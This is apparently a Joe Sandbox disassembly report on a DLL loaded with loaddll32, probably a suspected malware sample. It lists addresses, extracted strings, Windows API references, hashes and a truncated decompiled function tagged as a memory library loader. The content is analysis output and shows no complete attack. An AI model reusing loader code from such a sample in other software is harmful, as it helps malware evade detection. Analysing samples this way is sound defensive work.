0x6e55b27e
0x00000000
0x6e55b280
0x6e55b280
0x6e55b283
0x6e55b286
0x00000000
0x6e55b288
0x6e55b288
0x6e55b28b
0x6e55b28e
0x00000000
0x6e55b290
0x6e55b293
0x6e55b296
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55b296
0x6e55b28e
0x6e55b286
0x6e55b27e
0x6e55b276
0x6e55b24f
0x6e55b2a8
0x6e55b2a8
0x6e55b2ac
0x6e55b2b0
0x6e55b30f
0x6e55b30f
0x6e55b317
0x6e55b31e
0x6e55b321
0x6e55b328
0x6e55b32b
0x6e55b332
0x6e55b335
0x6e55b339
0x6e55b339
0x6e55b24d
0x6e55b1ff
0x6e55b1ee
0x6e55b1ea
0x6e55b1d6
0x6e55b1a9
0x6e55b190
0x00000000
0x6e55b183
0x6e55aef3
0x00000000
0x00000000
0x00000000
0x6e55adc6
0x6e55ae08
0x6e55adf7
0x00000000
0x6e55ade9
0x6e55afab
0x6e55afab
0x00000000
0x6e55afab
0x6e55ad99
0x00000000
0x6e55ad8b
0x6e55ad7f
0x6e55ac02
0x6e55ac02
0x6e55ac04
0x6e55ac08
0x6e55ac0d
0x6e55ac0e
0x00000000
0x6e55ac0e
0x6e55abfc
0x6e55abf2
0x6e55abdd
0x6e55abd1
0x6e55aba9
0x6e55b2bb
0x6e55b2bb
0x6e55b2bf
0x6e55b2c8
0x6e55b2c8
0x6e55aba7
0x6e55ab93
0x6e55aa80
0x6e55aa72
0x6e55aa63
0x6e55aa40
0x6e55aa40
0x6e55aa43
0x6e55aa5a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e55aa45
0x6e55aa45
0x6e55aa49
0x00000000
0x6e55aa4b
0x6e55aa4b
0x6e55aa4b
0x6e55aa4e
0x6e55aa53
0x6e55aa54
0x00000000
0x6e55aa54
0x6e55aa49
0x6e55aa43
0x6e55aa3e
0x00000000
0x6e55a7dc
0x6e55a7e0
0x6e55a7e4
0x6e55a7e7
0x00000000
0x6e55a7ef
0x6e55a741
0x6e55a72f
0x00000000

Strings

$, xrefs: 6E55BA23
__ZN, xrefs: 6E55ABD7
@*&<>()C,, xrefs: 6E55BE70, 6E55BF32
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6E55B3C9
$, xrefs: 6E55BA33
h, xrefs: 6E55B6EB
called `Result::unwrap()` on an `Err` value, xrefs: 6E55BF8D
called `Option::unwrap()` on a `None` value, xrefs: 6E55BF6E
.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy, xrefs: 6E55A6ED
.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6E55BB04, 6E55BEC7
SizeLimitExhausted, xrefs: 6E55C0D9

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb$.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-2155986594
Opcode ID: 77bbe5b7cd0fd89054fde1ff13abe0a712dec303c3c80dc2b51379b7bd017a5e
Instruction ID: aef61567aa4620af6fbb04b46d6055ec99deaeedfb0b62356acbd2ba6a3e837b
Opcode Fuzzy Hash: 77bbe5b7cd0fd89054fde1ff13abe0a712dec303c3c80dc2b51379b7bd017a5e
Instruction Fuzzy Hash: ABE22631A083428FD794DF98C49466EB7E2AFC6310F148A1FF4A58B39AD731D855CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E555EA0, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6E55A445
H, xrefs: 6E555FD9
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E556309
_, xrefs: 6E55A35B
)C,, xrefs: 6E55A1FD
called `Option::unwrap()` on a `None` value, xrefs: 6E55A6AF
_, xrefs: 6E55A34B
" fn( -> = { }truefalse{0x, xrefs: 6E55A519

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: fd0cff92120f47cd163ad73a279a2cd4e0854731f7f72ab7e3aabec459f1168b
Instruction ID: 35c210d0cf251051f3f7f01e2176dec6d6995fb8a7cf5e1579f0a13983709807
Opcode Fuzzy Hash: fd0cff92120f47cd163ad73a279a2cd4e0854731f7f72ab7e3aabec459f1168b
Instruction Fuzzy Hash: 406216706183818FEB54CEA5D46077BB7E2AFC5314F00892EE8994B386E771D869CB53

Uniqueness

Uniqueness Score: -1.00%

Function 6E5575F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6E557723
__aulldiv.LIBCMT ref: 6E557733

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6E557C06
bool, xrefs: 6E55788B
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E557602, 6E557A59
called `Option::unwrap()` on a `None` value, xrefs: 6E5579BC

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: 8b0f5c093fa7d4607434879b265cb8baec634901244da6b24d46e84735b1264d
Instruction ID: b25fe2f0f825e532330abecb589e0ee88b7a52ba2632aebc5247d81ccbc59b68
Opcode Fuzzy Hash: 8b0f5c093fa7d4607434879b265cb8baec634901244da6b24d46e84735b1264d
Instruction Fuzzy Hash: 31E1F3716087418FD714CFA8C49076ABBE1EF86314F14C96FD9958B3D2E334A866CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6E56D1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E56D1D8
IsDebuggerPresent.KERNEL32 ref: 6E56D2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E56D2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6E56D2CE

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3d9f960c755c53573d5ef7dbf5957c26183c85c7d0cce8c500d5f32dae23dca5
Instruction ID: dc49c9ce5a12b4a966248dc4f4687fc83e7e53850a12602ec417a7e3734334df
Opcode Fuzzy Hash: 3d9f960c755c53573d5ef7dbf5957c26183c85c7d0cce8c500d5f32dae23dca5
Instruction Fuzzy Hash: 93311675D052289BDF10DFA4C989BCCBBF8AF08304F1044AAE50DAB250EB719A85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 6E5729E6, Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6E572ADE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6E572AE8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6E572AF5

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ed886d9471e5d159e1a88403735cad7025f54e7a06e241d9a51d70ef0cff218d
Instruction ID: f294fab87aff1844cbe229b836efdb75e37f6fb06549bffc8b2d659d997898fb
Opcode Fuzzy Hash: ed886d9471e5d159e1a88403735cad7025f54e7a06e241d9a51d70ef0cff218d
Instruction Fuzzy Hash: 7B31B3749112289BCF61DF64D9887DCBBF8AF48310F5045EAE41CA7250EB709F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 6E559D50, Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

{recursion limit reached}{invalid syntax}, xrefs: 6E559FC2
<>()C,, xrefs: 6E559DED
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E559DB6

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: <>()C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${recursion limit reached}{invalid syntax}
API String ID: 0-2241449410
Opcode ID: 1ded6106ed4280080b69c875b42dce32967eee64ec6e73ad6a8d169d65f9283e
Instruction ID: 15b78fe74404ba9e41eeae79c0e418bbf5b704cb28cd9739a689fb74726a3b3a
Opcode Fuzzy Hash: 1ded6106ed4280080b69c875b42dce32967eee64ec6e73ad6a8d169d65f9283e
Instruction Fuzzy Hash: F68126B07087028FE766CEA5C4507A6B7E69F82300F14C92FD4BA4B355D739D8A5C752

Uniqueness

Uniqueness Score: -1.00%

Function 6E5601D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6E560253

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: 2c0c7fcb6717013c2c965c5b285529218818a9359f2363d9dca1477dfe1ea146
Instruction ID: ab21923544e92c5131e9320bb3da2eddf42a4441b39343051898f02a59819f58
Opcode Fuzzy Hash: 2c0c7fcb6717013c2c965c5b285529218818a9359f2363d9dca1477dfe1ea146
Instruction Fuzzy Hash: 7C629B71E042698FDF25CFA8C8907EEBBF2AF49304F1481AAD449B7262E7705D85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E551C10, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

?, xrefs: 6E551CCB
{invalid syntax}, xrefs: 6E551F98

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: 5bb5358943f181741bfe191867d086f44abd35deb036d56419c30c40553e48b0
Instruction ID: c255a569d76977cf12fc37678a424edbe4c86586554606d346ec75674d5bc85c
Opcode Fuzzy Hash: 5bb5358943f181741bfe191867d086f44abd35deb036d56419c30c40553e48b0
Instruction Fuzzy Hash: ADB13931618B268FC705CEA8C690569BFE2AF87340F14CB1FE8E557301D731D86A8B91

Uniqueness

Uniqueness Score: -1.00%

Function 6E5566E0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6E55697D
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E5566F9

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: ad1ed70dc824723efa9c6ccbee919a751743b4800a7c33895f8b5d79e26dc746
Instruction ID: 0237f7ba199b9523e389a81fbec0b74c40c3f08317d18cc705647706c3392c17
Opcode Fuzzy Hash: ad1ed70dc824723efa9c6ccbee919a751743b4800a7c33895f8b5d79e26dc746
Instruction Fuzzy Hash: EE8168747783C28FEB608EE58560376B7F2AF81314F10882FC99A4B745D6F5A8A58703

Uniqueness

Uniqueness Score: -1.00%

Function 6E570A61, Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,6E570A5C,?,?,?,?,?,?,00000000), ref: 6E570C8E

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3fb6197e2c54d8f433882880fe77e7e63256a75324615e700ec528a01e10e600
Instruction ID: 20ffd6d799f81ad030da231bfd0d917d69465cb44b30ff8445b07e5bdacb4ebe
Opcode Fuzzy Hash: 3fb6197e2c54d8f433882880fe77e7e63256a75324615e700ec528a01e10e600
Instruction Fuzzy Hash: 29B19231210609CFDB54CF68C496B657BE0FF45364F258659E8E9CF2A1D336EAA1CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6E56CC44, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E56CC5A

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6b5e7c8ac6a7233c4d767ffcc6947613156764747ebfc0dd9249bbf527c449cb
Instruction ID: 6527f67c325f52fb0d6ce330fd1693d3409ada9849e595bcd359cdcedef15044
Opcode Fuzzy Hash: 6b5e7c8ac6a7233c4d767ffcc6947613156764747ebfc0dd9249bbf527c449cb
Instruction Fuzzy Hash: 9A516AB1A10A068FEF05CF99C8917AEBBF4FB89314F21846AD815EB250DB75D940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E572FE7, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca1f8023e2f40b25b9d99519b0efdd65acdf9b836d1b58446bb313f310f195ea
Instruction ID: 1ebea8ed1a45ac563f5b1c2ae1dfad682331d68fb01e11e68316b3f655b7c81a
Opcode Fuzzy Hash: ca1f8023e2f40b25b9d99519b0efdd65acdf9b836d1b58446bb313f310f195ea
Instruction Fuzzy Hash: 30419EB5804219AFDF60DFA9CC88AEABBFCAB85314F1446D9E418D3200DB359E958F10

Uniqueness

Uniqueness Score: -1.00%

Function 6E560F10, Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6E561143

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: c840a3f03b2277efa0480ff975759eac6378299bb9dd579c0c1d32030a7d74dd
Instruction ID: 2996cb14060232590eec12bc3f548bf1289d698d85f21d4baf640e9473077a40
Opcode Fuzzy Hash: c840a3f03b2277efa0480ff975759eac6378299bb9dd579c0c1d32030a7d74dd
Instruction Fuzzy Hash: BBD1D6316087458FC750CEAAC6C067AB7E3AB85324F548B59D4AC8B3B5E631DD4ECB81

Uniqueness

Uniqueness Score: -1.00%

Function 6E5538C0, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c019ba37337353029da566f772de27c26a3c99d200476d413a0bb216345e3d
Instruction ID: 461d5d610e18effdc54579c22664a4b923c8b2da6d591f311c8b1684777be19f
Opcode Fuzzy Hash: a7c019ba37337353029da566f772de27c26a3c99d200476d413a0bb216345e3d
Instruction Fuzzy Hash: 4F021431B187158FD305DEB9C48422AB7E2AFDA340F51CB3EE889A7359E770AC518781

Uniqueness

Uniqueness Score: -1.00%

Function 6E56BFE0, Relevance: .0, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141dc87982bbe02d1ad552c0bad5a9777d9e637331c39eab6041597052c7ef7c
Instruction ID: da90cf8cfa5e1c26ce49bd41b516ec33659fd25fb0c4aa1483a44ea942b0e623
Opcode Fuzzy Hash: 141dc87982bbe02d1ad552c0bad5a9777d9e637331c39eab6041597052c7ef7c
Instruction Fuzzy Hash: 1D0169313112418FDF88CF68C4A0B29B3E2BF456A8F5544A9D4168FB35DB71E801CA40

Uniqueness

Uniqueness Score: -1.00%

Function 6E57298C, Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction ID: fe282a2c1a6a0961a9a8743617f6a649cd37514dba07fc53c24d33bbc5909c38
Opcode Fuzzy Hash: 6eb6665ddb3350983e42d1cbc670fa1f7b7e34ee61cedf1b9ad9aa5777005a93
Instruction Fuzzy Hash: 44E08C72911238EBCB21CBC8C90099AF3ECEB89B40B55089AF601E3210C270DE50C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6E5712CB, Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction ID: c43808059aecdd9afce0eeb95ebcd095c2f949380d92d2309fa7cb04c3092219
Opcode Fuzzy Hash: 8280ca142bc1b3d81a1ec9e0318d957c7d25c74bfd8627c95e038b2adada9f26
Instruction Fuzzy Hash: C6C08C38000A0046CEA989D083703B433E8E3C5B82F84088CC9028BA41C61E9C9FD608

Uniqueness

Uniqueness Score: -1.00%

Function 6E55DD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6E55DD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6E5639E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6E56E9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6e59f8cc; // 0x2
